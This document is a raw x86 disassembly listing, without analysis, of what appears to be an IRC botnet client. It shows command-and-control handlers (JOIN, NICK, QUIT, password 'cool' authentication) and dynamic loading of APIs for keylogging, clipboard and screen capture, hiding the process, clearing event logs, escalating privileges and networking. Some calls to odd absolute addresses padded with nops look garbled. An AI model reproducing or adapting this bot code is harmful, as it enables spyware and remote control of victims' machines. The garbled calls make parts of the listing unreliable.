		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	near ptr 2670E97h
		nop


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 2670E97h

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 2680972h
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 2680972h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 2680972h
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 2680972h
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	near ptr 2680972h
		nop
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		call	near ptr 2680972h
		nop
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
